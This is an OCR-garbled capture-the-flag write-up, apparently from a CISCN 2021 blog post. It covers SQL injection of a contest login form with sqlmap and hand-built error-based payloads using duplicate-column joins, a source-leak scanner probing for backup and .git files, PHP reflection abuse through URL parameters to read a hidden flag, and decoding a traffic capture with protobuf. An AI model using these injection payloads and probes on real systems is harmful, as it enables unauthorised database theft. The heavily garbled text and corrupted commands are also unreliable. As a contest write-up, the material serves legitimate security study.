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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST / HTTP/1.1 [a <span>FEFAE: </span>

Host 123.60.221.85:23223

User-Agent Mozilla/5.0 (Windows NT 10.0; Win64, x64; nv:88.0) Gecko/20100101 Firefox/88.0

Accept: text/html,application/xhtml+xml application/xml,q=0.9,image/webp,*/*,q=0.8 <input type="text" name="uname" class="login_input">
Accept-Language: zh-CN,zhgq=0.8zh-TW;q=0.7,zh-HK g=0.5,en-US;q=0.3,en,q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-wwww-form-urlencoded <span>® 8. </span>
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S D:i\ToolsWWebhsqlmap? python? sqlmap. py -r . Ytest. txt --dbs
{1. 4. 12. 454dev)

http://sqlmap. org

['] lezal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illezal. It is the end user s responsibility to obey all applid
jponsible for any misuse or damage caused by this program

[#] starting @ 16:58:02 /2021-05-15/

1L ] parsing HITP request from . %test. txt’
]

[

[ [ ] resuming back-snd DBUS “mysgl’

[ ] [INFO] testing connection to the target URL

[ 1 [ERITICAL] previous heuristics detected that the target iz protected by some kind of WAF/IFPS
sqlmap resumed the following injection point(s) from stored session:

Type: boolean-kased blind
Title: MyS0L FLIEE boolean-based blind - WHERE, HAVING, OEDEE BY or GROUP BY clause

Tvpe: error-based
Title: MySO0L »= 5.1 AND error-based — WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)

[ 1 [INFO] the back-end DBNS is NMySOL
eh server operating system: Linux Ubuntu 16. 04 or 16. 10 (yakkety or xenial)
eb application technology: Apache 2.4, 18
back-end DEN3: My30L »= 5.1 MariaDB fork)
1 ] fetching database names
] the 50L query provided does not return any output
] in case of continuous data retrieval problems you are advizsed to try a switch --no-cast’ or switch ' --hex’
] fetching mmber of databases
running in a single-thread mode. Please consider usage of option *--threads’ for faster data retrieval
16:58:02] [INFO] retrisved:
unakle to retrieve the number of databases
] falling back to current database
] fetching current database
[16:58:03] [INFO] resumed: ' security’
available databases [1]:
[*] security

[ 10 ] fetched data logged to text files under ~C:\Users‘\AdministratoribppData’locallsqlmapoutput’ 123, 60, 221, 85

[+] ending @ 16:58:03 /2021-05-15/ https://blog.csdn.net/mochu 7777777

S D:v\Tools\Web\salmap? python? sqlmap. py -r . \test. txt -D ——tables

_H_
’ {1. 4. 12. 45Hdev]

I
L

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mitual consent is illegal. It is the end user’ = responsibility to obey all applics
lponsible for any misuse or damage caused by this program

—-
min(p

V... |7 http://sqlmap. org

[#] starting @ 16:58:58 /2021-05-15/
[ 1L ] parsing HITF request from . \test.txt’

[ 110 ] resuming back-end DEMS “mysqgl’

1 [INFO] testing commection to the target TRL

[ 1 [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:

Type: koolean-based blind
Title: MySOL ELIEE boolean-based blind - WHERE, HAVING, ORDER BY or GEOUP BY clause




[ 1 [TNFO] the back-end DBNS is My30L
eb server operating system: Linux Ubuntu 16,04 or 16. 10 (yakkety or zenial)
eb application technology: Apache 2.4 18
back-end DEMS: MySOL »= B, 1 (MarialB fork)
] fetching tables for database: ~sscurity
] the 50L guery provided doss not return any output
in case of continuous data retrieval problems you are advised to try a switch ' -—-no-cast’ or switch ~--hex’
1 the SQL query provided does not return any output
] fetching number of tables for database  security’
] rumning in a single-thread mode. Please consider usaze of option  --threads’ for faster data retrieval
16:58:58] [INFO] retrieved:
10 ] unable to retrieve the mumber of tables for database security’
110 ] unable to retrieve the table names for any database
Database: security

1T 1 fetched data lozgzed to text files under 'C:'\Users\AdministratoridppData‘locallsqlmap'output 123, 60, 221, 857
[#] ending @ 1%:58:50 /2021-06-15/ hitps://blog.csdn.net/mochu? 777777

S D:vTools\Web'\sglmap> python2 sqlmap. py -r . Ztest. txt -D
{1. 4. 12, 45#dev}

http://zqlmap. arg

['] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is illegal. It iz the end user’ s responsibility to obey all applid
lbonsible for any misuse or damage caused by this program

[#] starting @ 16:59:33 /2021-06-15/

[ 1 parsing HITP request from . \test. tzt’
I ] resuming back-end DBMS ~mysql’

] [INFO] testing commection to the target TFL

7 [CRITICAL] previous heuristics detected that the target iz protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:

[
[
[
[

Tvpe: boolean-based blind
Title: MNySGQL ELIEE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Tvpe: error-hased
Title: NySOL »= 5.1 AND error-based - WHERE, HAVING, ORDEE BY or GROUP BY clause (FXTRACTVALUE)

[ 1 [INFO] the back-end DBNS is NySOL

eh server operating system: Linux Ubuntu 16,04 or 16.10 (yakkety or xenial)

eb application techmology: fApache 2.4 18
back-end DBNS: NySOL »>= 5.1 (MariaDB fork)

] fetching colums for table ' flag' in database  security’
[ ] the S0L query provided does not return any output
in case of continuous data retrieval problems you are advised to try a switch ~--no-cast’ or switch ~—-hex’
] unable to retrieve column names for table "flag’ in database ' security’

| rumeric |
o +

[ ] fetched data logged to text files wunder ' C:\lUsershhdministratoriippDatatLocalsqlmapioutputy 123 60, 221, 85

[*] ending @ 16:59:33 /2021-05-15/ https:/iblog.csdn.net/mochu? 777777
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uname=admin')and mid(concat(@x7e, (select*from (select * from flag as a join flag b using(id))c),0x7e),1,1)#




Request Response

Raw | Params | Headers | Hex Raw [ Headers | Hex | HTML | Render

POST / HTTP/11 <span>FF{: </span>
Host 123.60.22185:23223

User-Agent Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rnv:88.0) Gecko/20100101 Firefox/88.0
Accept text/htrl application/xhtrnl+xml.application/xrml;q=0.9,image/webp,*/*¢q=0.8 <input type="text" name="uname" class="login_input":
Accept-Language: zh-CN,zhiq=0.8,zh-TW,q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded <span>® RB: </span>

Content-Length: 147 <input type="password" name="passwd" class ="login_input">
Origin: http://123.60.22185:23223
Connection: close

Referer: http://123.60.221.85:23223/ <li class="login-sub">

Upgrade-Insecure-Requests. 1 <input type="submit" name="Submit" value="&3" />

T

</li>
uname=adminand mid(concat(0x7e,(select*from (select * from flag as a join flag b </form=
using(id))c),0x7e), 1, 1)#&passwd=rnochu7&Subrmit=%E7%99%BB%E5%BD%I5 <fdhv>
</div>
</dliv>
</body>
</htrnl>

Duplicate colurnn name 'ne'</font>
</div>
</body>
</htrnl>

L,

BT — no B

uname=admin')and mid(concat(@x7e, (select*from (select * from flag as a j flag b using(id,no))c),0x7e),1,1)#

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST / HTTP/11 L) <span>FFE . </span>

Host: 123.60.22185:23223

User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rs88.0) Gecko/20100101 Firefax/88.0
Accept text/htrnl application/xhtml+xml application/xml;q=0.9,image/webp,*/*,q=08 <input type="text" narne="unarme" class="login_input"=
Accept-Language: zh-CN.zh,q=0.8zh-TW;q=0.7,zh-HK g=0.5en-US;q=0.3,en,q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/s-www-form-urlencoded <span># #3: </span>
Content-Length: 150 <input type="password" name="passwd" class="login_input">

Origin: http://123.60.22185:23223
Connection: close

Referer: http://123.60.22185:23223/ <li class="login-sub">

Upgrade-Insecure-Requests: 1 <input type="submit" name="Submit" value="=x" />

</li»
unarme=admin’)and mid(concat(0x7e, (select*from (select * from flag as a join flag b </form>
using(id,no))c), 0x7e), 1, 1)#&passwd:mochu?&Submn:%E?%gg%BB%ES%BD%95| </div>
</div>
</div>
</body>
</html>

Duplicate colurnn narme ‘edac52a9-7ada-424e-b833-a55e46dff8ba’</font>
</div>

</body>

</htrl>

183 T edac52a9-7ada-424e-b833-a55e46dff8ba FEK 4

& sqmap HiEABIE

python2 sqlmap.py -r .\test.txt -D 'security' -T 'flag' -C 'id,no,edac52a9-7ada-424e-b833-a55e46dff8ba’
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EfEaE: | 3005

ZERR, flaghiZfEphp G KR+

123.60.221.85:23246/ b4 +
<« - @ © & 123.60.221.85:23246

& Google

{REE ARG

SourcelLeakHacker i KB /. index. php. swo X4

PS D:\Tools\Web\Web_Path_Scaner\SourcelLeakHacker> python2 .\SourcelLeakHackerForWindows.py http://123.68.221.85:232U6/
Checking : http://123.60.221.85:23206/index.php.swp Checking : http://123.66.221.85:23246/index.php.bak Checking : http://123.60.221.85:23206/.git Checking : http://123.66.221.85:23206/.git/HEAD Checking : htt
p://123.60.221.85:23206/.git/index Checking : http://123.60.221.85:23206/.git/config Checking : http://123.60.221.85:232u6/.git/description Checking : http://123.68.221.85:23206/README.MD Checking : http://123
320u6/README.md Checking : http://123.66.221.85:232U6/README Checking : http://123.60.221.85:23206/.gitignore Checking : http://123.66.221.85:232u6/.svn Checking : http://123.60.221.85:23206/.svn/uc
.db Checking : http://123.60.221.85:23246/.svn/entries Checking : http://123.60.221.85:23246/.hg Checking : http://123.60.221.85:232u6/.ds_store Checking : http://123.60.221.85:232U6/WEB-INF/web.xmlL Checking :
http://123.60.221.85:23246/WEB-INF/src/ Checking : http://123.60.221.85:23206/WEB-INF/classes Checking : http://123.68.221.85:232U6/WEB-INF/Lib Checking : http://123.60.221.85:23246/WEB-INF/database .propertie
/123.68.221.85:232U6/CVS/Root Checking : http://123.60.221.85:232U6/CVS/Entries Checking : http://123.60.221.85:23246/.bzr/ Checking : http://123.60.221.85:23246/index.php [ &
Checking : http://123.60.221.85:23206/login.php Checking : http://123.66.221.85:232U6/register.php Checking : http://123.60.221.85:232U6/test.php Checking : http://123.68.221.85:23246/phpinfo.php Checking : ht
tp://123.60.221.85:23206/t.php Checking : http://123.60.221.85:232U6/www.zip Checking : http://123.66.221.85:232U6/wnw.rar Checking : http://123.66.221.85:23206/wnw.zip Checking : http://123.60.221.85:23206/un
w.7z Checking : http://123.66.221.85:232U6/www.tar.gz Checking : http://123.66.221.85:23206/www.tar Checking : http://123.60.221.85:23206/web.zip Checking : http://123.68.221.85:23206/web.rar Checking : http:/
/123.60.221.85:23246/web.zip Checking : http://123.60.221.85:232u6/web.7z Checking : http://123.60.221.85:23206/web.tar.gz Checking : h /123.60.221.85:23206/web.tar Checking : http://123.68.221.85:23206/in
dex.php~ Checking : http://123.60.221.85:23246/1ogin.php~ Checking : http://123.60.221.85:23246/register.php~ Checking : http://123.60.221.85:23246/test.php~ Checking : http://123.60.221.85:23246/phpinfo.php~
Checking : http://123.60.221.85:232U6/t.php~ Checking : http://123.66.221.85:232U6/wmm.zip~ Checking : http://123.66.221.85:232U6/mwn.rar~ Checking : http://123.60.221.85:232U6/wiw.zip~ Checking : http://123.6
8.221.85:23246/www .7z~ Checking : http://123.66.221.85:23206/www.tar.gz~ Checking : http://123.60.221.85:232U6/wnw.tar~ Checking : http://123.68.221.85:232U6/web.zip~ Checking : http://123.60.221.85:232U6/web.
rar~ Checking : http://123.66.221.85:232U6/web.zip~ Checking : http://123.60.221.85:232u6/web.7z~ Checking : http://123.60.221.85:23206/web.tar.gz~ Checking : http://123.60.221.85:23246/web.tar~ Checking : htt
p://123.60.221.85:23206/.index.php.swp Checking : http://123.66.221.85:232u6/.login.php.swp Checking : http://123.60.221.85:23206/.register.php.swp Checking : http://123.68.221.85:23246/.test.php.swp Checking
: http://123.60.221.85:23246/.phpinfo.php.swp Checking : http://123.60.221.85:23246/.t.php.swp Checking : http://123.60.221.85:232u6/.www.zip.swp Checking : http://123.60.221.85:23246/.www.rar.swp Checking : h
ttp://123.60.221.85:23206/ . www.zip.swp Checking : http://123.60.221.85:23246/.www.7z.swp Checking : http://123.60.221.85:232u6/.wwW.tar.gz.swp Checking : http://123.60.221.85:23246/.www.tar.swp Checking : http
://123.60.221.85:23246/ .web.zip.swp Checking /123.60.221.85:232U6/ .web.rar.swp Checking : http://123.68.221.85:232U6/.neb.zip.swp Checking : http://123.60.221.85:23246/.web.7z.swp Checking : http://123
.60.221.85:232U6/.web.tar.gz.swp Checking ® 123206/ .web.tar.swp Checking : http://123.66.221.85:23246/.index.php.swo [ 260 ]
Checking : http://123.60.221.85:23206/.login.php.swo Checking : http://123.60.221.85:232U6/.register.php.swo Checking : http://123.60.221.85:23246/.test.php.swo Checking : http://123.68.221.85:23246/.ph
hp.swo Checking : http://123.66.221.85:23206/.t.php.swo Checking : http://123.60.221.85: 232u5/.nvm .zip.swo_Checl http://123.60.221.85:23206/.www.rar.swo Checking : http://123.60.221.85:23206/ . www.:
Checking : http://123.60.221.85:23206/.www.7z.swo Checking : http://123.66.221.85:232u6/.wnw.ta 7 Y135 . 60 - 51 i/ .www.tar. swogCheckings: http: //uz 66.221.85:23206/.meb
cking : http://123.60.221.85:232u6/.web.rar.swo Checking : http://12 221.85: 23246/.neﬁ_z' p.Sho Che:lu . ] : http://123.60.221.85:23246/.meb.tar.
http://123.608.221.85:23246/.web . tar.swo che:king\ ht * | 230682200 850232067 . Teg1ster. php. swn
http://123.68.221.85:23246/ . test.php.swn Checking : http://1 o £ - s CRINGNSSREEp"//123.60.221.85:23246/ .www. zip. sun Ch;
http: //123.68. 223 206/ .ww xar.swn Checking : http “//123 X ing : : 6/~ Wiz swn Checking : http://123.60.221.85:23246/.wiw.tar.gz.swn Checkil
i [ # web.rar.swn Checking : http://123.60.221.85:232u6/.web.zip.swn Checking : |
4 http //123.60.22 5 .tar.swn Checking : http://123.60.221.85:23206/.1index.php.swn Checking : ht
21.85: 232‘!6/.:‘29:5_‘:55 php.sml Checking : http: //3.58‘221 85:23206Y . test .php.swm Checking : http://123.60.221.85:23246/.phpinfo.php.swn Checki
. 85223206/ . wiw.z1p. sum Checking : http://123.60.221.85: 23206/ .www.rar.swn Checking : http://123.68.221.85:23246/. . zip.swm Checking : ht
tp://123.60.221.85:232U6/ .wum . i che:kmg : http: //123 60.221.85:23206/ .www. tar.gz.swm Checking : http://123.66.221.85:232U6/ jwwn. tar.swm Checking : http://123.60.221.8!
//123.66.221.85:23206/ .web.rar.swn Checking : http://123.68.221.85:232U6/.web.zip.swm Checking : http://123.68.221.85:232U6/.web.Tz.swm Checking : http://123.68.221.85:23206/.web.tar.gz.swm Checking
23.60.221.85:23246/ .web_tar.swn Checking : http://123.60.221.85:232u6/.index.php.swl Checking:- http://123.68.221.85:232U6/.login.php.swl Checking : http://123.60.221.85:23246/.registiéir smvth@ck’ihg
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function a()

{

return

function b()
{

return

function c()

{

return

function d()
{

return

function e()

{

return

function ()

{

return

function g()
{

return

function h()
{

return

function i()

{

return

function j()
{

return

function k()

{

return

function 1()
{

return




function m()

{

return

function n()

{

return

function o()

{

return

function p()
{

return

function q()
{

return

function r()

{

return

function s()

{

return

function t()
{

return

new $rc($ra, $rb);
var_dump($method->$rd());



https://museljh.github.io/2019/04/24/ctf%25E4%25B8%25AD%25E7%259A%2584php%25E5%258F%258D%25E5%25B0%2584/
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= Reflection — Reflection 2

Reflection:export — Exports

Reflection::getModifierNames — SREMENREFAIRFR

» ReflectionClass — ReflectionClass 2

ReflectionClass::__construct — #J8&{¥ ReflectionClass =&

ReflectionClass:export — SHH—4 =&

ReflectionClass::getConstant — ZREVE M SH—HEE

ReflectionClass:getConstants — SREN—BH S

ReflectionClass:getConstructor — ZREGEAITEIE ST

ReflectionClass:getDefaultProperties — SRENERABIE

ReflectionClass:getDocComment — ZSREU SRR

ReflectionClass:getEndLine — SRENEE—1THIFTEY

ReflectionClass:getExtension — #RECSEN RIZEEFEIF{EY FERY ReflectionExtension 335

ReflectionClass:getExtensionName — ZRENGE W RUZERRERIYT BRIV TR

ReflectionClass:getFileName — FRENGE W 2RI

ReflectionClass:getinterfaceNames — FREVZ[] (interface) &/FR

ReflectionClass::getInterfaces — FREVIE]

ReflectionMethod 28 4k /& T iX — /7 ¥

[+ BEETRE »/

final private ReflectionFunctionAbstract:: clone ( ) : void

public ReflectionFunctionAbstract::getClosureScopeClass ( ) : ReflectionClass|null
public ReflectionFunctionAbstract::getClosureThis ( ) : object

public ReflectionFunctionAbstract::getDocComment ( ) : StTing  f——
public ReflectionFunctionAbstract::getEndLine ( ) : int

public ReflectionFunctionAbstract::getExtension ( ) : ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName ( ) : string

public ReflectionFunctionAbstract::getFileName ( ) : string

public ReflectionFunctionAbstract::getMame ( ) : string

public ReflectionFunctionAbstract::getNamespaceName ( ) : string

public ReflectionFunctionAbstract::getNumberOfParameters ( ) : int

public ReflectionFunctionAbstract::getNumber0OfRequiredParameters ( ) : int
public ReflectionFunctionAbstract::getParameters ( ) : array

public ReflectionFunctionAbstract::getReturnType ( ) : ReflectionTypelnull
public ReflectionFunctionAbstract::getShortName ( ) : string

public ReflectionFunctionAbstract::getStartline ( ) : int

public ReflectionFunctionAbstract::getStaticvariables ( ) : array

public ReflectionFunctionAbstract::hasReturnType ( ) : bool

public ReflectionFunctionAbstract::inNamespace ( ) : bool

public
public
public

ReflectionFunctionAbstract:

:isClosure ( )

: bool

ReflectionFunctionAbstract:

:isDeprecated ( )

: bool

ReflectionFunctionAbstract:

:isGenerator ( ) : bool




public ReflectionFunctionAbstract::isInternal (

public ReflectionFunctionAbstract::isUserD

public ReflectionFunctionAbstract::isVariadic (

public ReflectionFunctionAbstract::returnsReference

abstract public ReflectionFunctionAbstract:: toString ( ) : void

RIEHRANZRT user RETETTIE, KILZ rb=q I B B+ Kiflag

/index.php?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

<« C | © & 123.60.221.85:2° .

y

omment

46/index.php?rc=ReflectionMethod&ra=User&rb=q&rd=getD
G Google

1REEAMFNSstring(152) "/** * Increment counter * * @final * @static * @access publicCISCN{OMvIz-OUpOw-4YSrc-1UKjv-286Ggo-} * @return int */"

G O=EE Diedse D EdE N MRS NiggE T B S W SEEE 88 WAES @ Cookie Editor ) HackBar

Encryption ~ Encoding ~ SQL ~ XSS~  Other ~

@ LOAd URL http://123.60.221.85:23246/index php?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
% Split URL

Executs
Y Becuie O Postdata [0 Referer [0 User Agent [0 Cookies Clear Al

CISCN{OMvIzZ-0UpOw-4YSrc-1UKjv-28Gqo-}

BifsE: | 20055

in.net/mochui 71




tiny traffic.pcapng EERTCPHRENE, MM FHHTTIPXH R

- x
B Qe
 (Cerl=/> = -]+
Time Seurce Destination Protocol Length Frame Tdentification Info [—
18547 57622 56.313602 192.168.2.1 192.168.2.141  TCP 95 v oxcf8c (53132) 80 + 57622 [PSH, ACK] Seq=116184 Ack=1194 Win=64088 Len=41 [TCP segment of a reassembled F__|
18543 57622 56.314386 192.168.2.1 192.168.2.141  TCP 1486 oxcfsd (53133) 88 > 57622 [ACK] Seq=116225 Ack=1194 Win=64888 Len=1432 [TCP segment of a reassembled PDUT__
18549 57622 56.314387 192.168.2.1 192.168.2.141  TCP 1485 v oxcfBe (53134) 80 » 57622 [PSH, ACK] Seq=117657 Ack=1194 Win=6408@ Len=1432 [TCP segment of a reassemble:
18550 57622 56.314387 192.168.2.1 192.168.2.141  TCP 1486 oxcf8f (53135) 80 > 57622 [ACK] Seq=119089 Ack=1194 Win=64888 Len=1432 [TCP segment of a reassembled PDU]
18551 57622 56.314388 192.168.2.1 192.168.2.141  TCP 1485 v oxcfoe (53136) 80 » 57622 [ACK] Seq=120521 Ack=1194 Win=64888 Len=1432 [TCP segment of a reassembled PDUJ
18552 57622 56.314388 192.168.2.1 192.168.2.141  TCP 1486 oxcfol (53137) 80 > 57622 [PSH, ACK] Seq=121953 Ack=1194 Win=64088 Len=1432 [TCP segment of a reassembled
18553 57618 56.314388 192.168.2.1 192.168.2.141  TCP 305 v 0xc876 (51318) 80 + 57618 [PSH, ACK] Seq=44077 Ack=435 Win=6408@ Len=251 [TCP segment of a reassembled PC
18554 20 56.314421 192.168.2.141 192.168.2.1 Tce 54 v 0x9a10 (39488) 57622 > 88 [ACK] Seq=1194 Ack=123385 Win=131328 Len=0
18555 57622 56.315472 192.168.2.1 192.168.2.141  TCP 1485 v oxcfo2 (53138) 80 » 57622 [ACK] Seq=123385 Ack=1194 Win=64888 Len=1432 [TCP segment of a reassembled PDU]
18556 57622 56.315473 192.168.2. 192.168.2.141  TCP 1486 oxcfo3 (53139) 80 > 57622 [ACK] Seq=124817 Ack=1194 Win=64888 Len=1432 [TCP segment of a reassembled PDU]
18557 57622 56.315473 192.168.2.1 102 168 2 141 TICP 1486 Axcfad (53140) A » 57622 [PSH ACK] Seq=126249 Ack=1194 Win=64088 Len=1432 [TCP segment of a reassembled
18558 80 56.315516 192.168.2.141 | M Wireshark - Siti - HTTP 158515 = O X B-1194 Ack=127681 Win=131328 Len=0
18559 57622 56.316537 192.168.2.1 §=127681 Ack=1194 Win=64680 Len=1432 [TCP segment of a reassembled PDU]
18560 57622 56.316538 192.168.2.1 wE = [ F R "| B=129113 Ack=1194 Win=6408@ Len=1432 [TCP segment of a reassembled PDU]
18561 57622 56.316538 192.168.2.1 19245 19216821 applicationfjavascript  160k8  zh-cn ] Seq=130545 Ack=1194 Win=6408@ Len=1432 [TCP segment of a reassembled
18562 57622 56.316539 192.168.2.1 19252 192.168.2.1 application/json 45 bytes  71610706555586 §=131977 Ack=1194 Win=64080 Len=1432 [TCP segment of a reassembled PDU]
18563 57622 56.316539 192.168.2.1 :3:32 :32::2: :‘“"V“"’"s"‘“: 2:0“2‘1 "5?"7:9“'f'e‘fsoigzﬁzﬂ;:‘d‘ £=133469 Ack=1194 Win=64680 Len=1432 [TCP segment of a reassembled PDU] |
18564 57622 56.316540 192.168.2.1 10358 199 16821 t:x:::zz::( P ytos ;:::‘,S,v git—?‘lDE‘QDMQS"CﬁbM ] Seq=134841 Ack=1194 Win=64086 Len=1432 [TCP segment of a reassemblec—
18565 80 56.316569 192.168.2.141 | | 103 1050021 applicstionfison a77 bytes 7161973053558 B=1194 Ack=136273 Win=131328 Len=@
18566 57622 56.317221 192.168.2.1 19387 19216821 texfavascript 7047 bytes ucijsP=git-21.089.01495-fcf7bdl1 §=136273 Ack=1194 Win=64880 Len=1432 [TCP segment of a reassembled PDU]
18567 57622 56.317222 192.168.2. 19417 192.168.2.1 textfjavascript 13k8  validationjsv=git-21.060.01495-fcf7bd1 §=137705 Ack=1194 Win=64680 Len=1432 [TCP segment of a reassembled PDU]
18568 57622 56.317222 192.168.2.1 19418 192.168.2.1 textfjavascript 3721 bytes fajste=git-21.060.01495-fcf7bd 1 ] Seq=139137 Ack=1194 Win=6488@ Len=1432 [TCP segment of a reassembled
18569 57622 56.317223 192.168.2.1 19422 192.168.2.1 applicationjjson 259 bytes  21619796555779 B=148569 Ack=1194 Win=64688 Len=1432 [TCP segment of a reassembled PDU]
18570 80 56.317248 192.168.2.141 19580 192.168.2.1 application/json 830 bytes  21619796555779 R=1194 Ack=142001 Win=131328 Len=
18571 57622 56.317370 192.168.2.1 19696 192.168.2.1 application/json 157 bytes 21619796555891 B=142001 Ack=1194 Win=64880 Len=1432 [TCP segment of a reassembled PDU]
18572 57622 56.317370 192.168.2.1 10725 192.168.2.1 application/octet-stream 15 k8 favicon.ico ] Seq=143433 Ack=1194 Win=64080@ Len=1432 [TCP segment of a reassembled—
18573 57622 56.317371 192.168.2.1 19937 19216821 application/json s8bytes  21619796555891 1 Seq=144865 Ack=1194 Win=64080 Len=219 [TCP segment of a reassembled
20248 192.168.2.1 i cam 8808 bytes
S 20390 192.168.2.193:5000 text/html 12bytes 2
Frame 22: 1178 bytes on wire (9424 bits), 1178 bytes |20408 192.168.2.193:5000 _textshtm| 232 bytes _favicon.ico £}, id @ A
Ethernet II, Src: BeijingX_c9:ed:28 (28:d1:27:c9:ed: |20648 192.168.2.193:5000 gzip 27 bytes  flag_wrapper
Internet Protocol Version 4, Src: 36.152.44.95, Dst:| [20828 192.168.2.193:5000 gzip 27 bytes  flag_wrapper
Transmission Control Protocol, Src Port: 89, Dst Pop 21118 1921682.193:5000 br 185 bytes  test
Hypertext Transfer Protocol g |2 rszrseatsasom br 61 bytes  secret -
14 h A +ave Aatas tavelhEml (7 15 hY hd
34 de 1a 81 da 94 28 d1 27 9 ed 28 @8 00 45 ol YEHEHE: [ J -
04 8c 62 ©7 40 00 33 86 2d 35 24 98 2c 5f <@ ai Save Save ALl Help
02 8d 0 50 e b 34 8a 2 af aa 26 <9 98 50 1
03 be 89 9e 00 00 48 54 54 50 2f 31 2e 31 20 33  --...-HT TP/1.1 3
30 32 28 46 6f 75 6e 64 Od @a 43 6f 6e 6e 65 63 @2 Found --Connec
74 69 6f 62 3a 20 6b 65 65 70 2d 61 6c 69 76 65 tion: ke ep-alive
@d @a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 Conten t-Length
3a 20 31 35 34 0d @a 43 6f 6e 74 65 6e 74 2d 54  : 154--C ontent-T
79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c Od @a  ype: tex t/html--

@ 7 tiny_trafficll). pespnz || 48 21734« 2EF: 21734 (100.0%)

SHHTTPX R IIEHE RIAE gzip XM br X
HARBRIE?

BRI {4 2EABrotll (—MFFRHIEEREX) ERSRE., E8aMIEr, fiin .CSS, XML,
SVGHD S 3%, LABrotl E4EHUEETESE., Webil|5E88 (fFlinChromef0Firefox) {FEABRIESER
EEINEERE,

flag wrapper.gz fRE /G133 — flag wrapper , FJEHEEE

© flag_wrapper.gz - Bandizip 7.16 (Standard) — O >
SR &\EE B EmO) WMEN IR EEH)

=1 flag_wrapper.gz = EEEF [FEEr 2EE
[ flag_wrapper 17 7




B, BEFWA br XIF

© secretbr - Bandizip 7.16 (Standard) — O *
IR R\ B0 EEO) BN IR EEIH)

B L B

FE i3
) secretbr = - FEEF EEr =3
|J- secret 61
© testbr - Bandizip 7.16 (5tandard) — O *

MR REE BRI OERO) MEN TR EEH)

B B B

#E )l i3

© testbr =% - S Bt 8
[ test 185

secret.br fRIEE 3] secret , ®RENE

test.br fRERE test , W HBEMANARBRITIT, BAWT

syntax = "proto3";

message PBResponse {
int32 code = 1;
int64 flag_part_convert_to_hex_plz
message data {
string junk_data 2
string flag_part il g
¥
repeated data datalList = 3;
int32 flag_part_plz_convert_to_hex
string flag last_part = 5;

message PBRequest {

string cate_id =
int32 page = 2;
int32 pageSize




MRIE R 5T proto3 MR | ER— R AH/ AT

Protocol Buffers(igfRProtobuf) , EGoogleHBMIFFILIER, SHAESFEX, WMFAE
%, BESFNATENE, ProtobuffIFENFFHUER 1, Mo UBTHEEME. ERD
W,

ProtobufsZ i LigRE S &§E)ava, Python, C++, Go, JavaNano, Ruby, C# ERitit

f=https://developers.google.com/protocol-buffers/,

PortobufBYFRZI{F RIS ERFFAEELXML, JSON/MES, XMLFUSONRUEIRMEE AT, S5k
BEE4: HoMPortobufiRMER T Varint 5355, iR EEESAR S,

PortobufEF YN EFHYEREEXML, JSONDYES, EEEmSN=m#EHiER, m
XML SONIFEENER X MLELE ISONITZREST,

M E1RZ protobuf FHIME RFFILHIA R TR AT ER, F4ER.
secret ENFHWCH, FBIEPN protobuf KIFFMZ G HIEHE . AT REER Python SRR FFI1L .

Protoc3 ¥ 3%: https://github.com/protocolbuffers/protobuf/releases

@ protobuf-python-3.17.0.zip 5.86 MB
@ protobuf-ruby-3.17.0.tar.gz 4.68 MB
@ protobuf-ruby-3.17.0.zip 571 MB
@ protoc-3.17.0-linux-aarch_64.zip 1.67 MB
@ protoc-3.17.0-linux-ppcle_64.zip 1.81 MB
@ protoc-3.17.0-linux-s390_64.zip 1.95 MB
@ protoc-3.17.0-linux-x86_32.zip 153 MB
@ protoc-3.17.0-linux-x86_64.zip 1.58 MB
@ protoc-3.17.0-0sx-x86_64.zip 247 MB
@ protoc-3.17.0-win32.zip 1.1 MB
@ protoc-3.17.0-win64.zip  em—— 1.42 MB

[§] Source code (zip)

[) Source code (tar.gz)

THMEFHANR bin HF, K AIFEL R test BN test.proto H#B3IE] bin HF

.\protoc.exe --python_out=. test.proto

B3] test_pb2.py IR {4
BeE AR X AME AT 7 F4L
182235 protobuf HEHR

pip3 install protobuf

BEEEMEER secret 313 bin HF


https://github.com/protocolbuffers/protobuf/releases

import test pb2

with ) as f:
data f.read()
target = test_pb2.PBResponse()
target.ParseFromString(data)
print(target)

PS C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin> 1s
Directory: C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin
LastWriteTime Length Name

2021/5/16 1: __pycache__
2021/5/13 8: 3781120 protoc.exe
2021/5/15 : 57 secret
2021/5/16 1: 7682 test_pb2.py
2021/5/15 16: 361 test.proto
2021/5/15 18: 163 test.py

PS C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin> python .\test.py
code: 200
flag part_convert_to_hex_plz: 15100450
datalist {

flag part:

junk_data:
}
datalList {

flag part:

junk_data:
b
flag part_plz_convert_to_hex: 16453958
flag last_part:

PS C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin

BB RYE R 75618 2 1 P A B Heflag BRI AT

PS C:\Users\Administrator\Downloads\protobuf\protoc-3.17.8-win6u\bin> python .\test.py
code: 208
flag_part_convert_to_hex_plz: 15186U458
dataList {

flag_part: "e23u45"

junk_data: "7af2c"
}
dataList {

flag_part: "7889ba"

junk_data: "82bca"
1
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"

PS C:\Users\Administrator\Downloads\protobuf\protoc-3.17.8-winsu\bin>
tps://blog.csdn.net/mochu 7 777777

CISCN{e66a22e23457889b0fb1146d172a38dc}
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R: running_pixel

running_pixel.gif & — K3 K&

[E3) — O *
Frame : 1 of 382

< || B || Save |

